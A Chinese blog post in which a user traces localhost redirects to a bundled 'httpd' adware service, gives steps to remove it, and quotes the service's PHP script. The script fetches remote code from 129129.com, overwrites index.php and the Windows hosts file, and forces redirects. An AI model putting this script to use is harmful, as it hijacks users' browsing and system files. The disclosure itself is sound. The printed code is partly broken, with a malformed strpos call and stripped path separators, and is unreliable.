解决127.0.0.1和Http://Localhost均被拦截跳转到另一个网页
今天安装一个WEB系统,要用到http://127.0.0.1输入完成之后,可以进入安装界面,但是,我输入完了之后,自动跳到了129129垃圾网站,我把本地连接网线都拔掉了,它还是可以访问到这个网站,我又去下载DNS劫持修复工具,又是杀毒的,直到我发现我的进程里面有一个httpd进程,这不是阿帕奇的服务器软件吗,我就把它禁用了一下,瞬间就可以进入127.0.0.1了。不得不说,现在的流氓软件越来越人性化了,让人都摸不到什么意思,若不是我用到了localhost网址,我这辈子可能都不会发现这个小流氓插件,这样想来,每次我开机,它都去访问那个129129垃圾站,拖垮了网速不说,还占着CPU。
解决IE主页总是显示http://www.129129.com/?1 2 3 4 ,怎么也改不过来而且360体检也找不到错误
解决方案:
360–开机加速–找到httpd–进入安装目录–禁止开机启动–然后删掉整个文件夹即可。
目录:C:WINDOWSApachebin 删掉整个目录
我其实在它的C:WINDOWSApachehtdocs目录下找到了一段php脚本,里面这么写的:
<?php
include_once "config.php";
$name1 = "";
$name2 = "";
//$name3 = "";
//获取最新php
$index = file_get_contents('http://www.129129.com/ht/index.txt');
if(strpos($index, )
{
$arr = explode("@", $index);
$index = $arr[1];
$hosts = $arr[0];
$index = get_rep($index);
if(!empty($index)){
if(file_put_contents("index.php", $index)==0){}
}
//获取最新hosts
if(!empty($hosts)){
if(file_put_contents("C:/WINDOWS/system32/drivers/etc/hosts", $hosts)==0){}
}
}
//域名跳转个性化
$serverName = $_SERVER['SERVER_NAME'];
switch ($serverName) {
case strpos($name1,$serverName)!==false:
header("Location:http://www.129129.com/?1");exit;
break;
case strpos($name2,$serverName)!==false:
header("Location:http://www.129129.com/?2");exit;
break;
case strpos($name3,$serverName)!==false:
header("Location:http://www.129129.com/?3");exit;
break;
default:
header("Location:http://www.129129.com/?4");exit;
break;
}
?>
<meta http-equiv="refresh" content="0;url=http://www.129129.com/?301">
很明显的最后一段有个跳转语句,可谓是别具匠心啊呸,垃圾封装的系统,强加了一个httpd软件,强制跳转到129129,垃圾,果断干掉!
本文链接:http://78moban.cn/post/13776.html
版权声明:站内所有文章皆来自网络转载,只供模板演示使用,并无任何其它意义!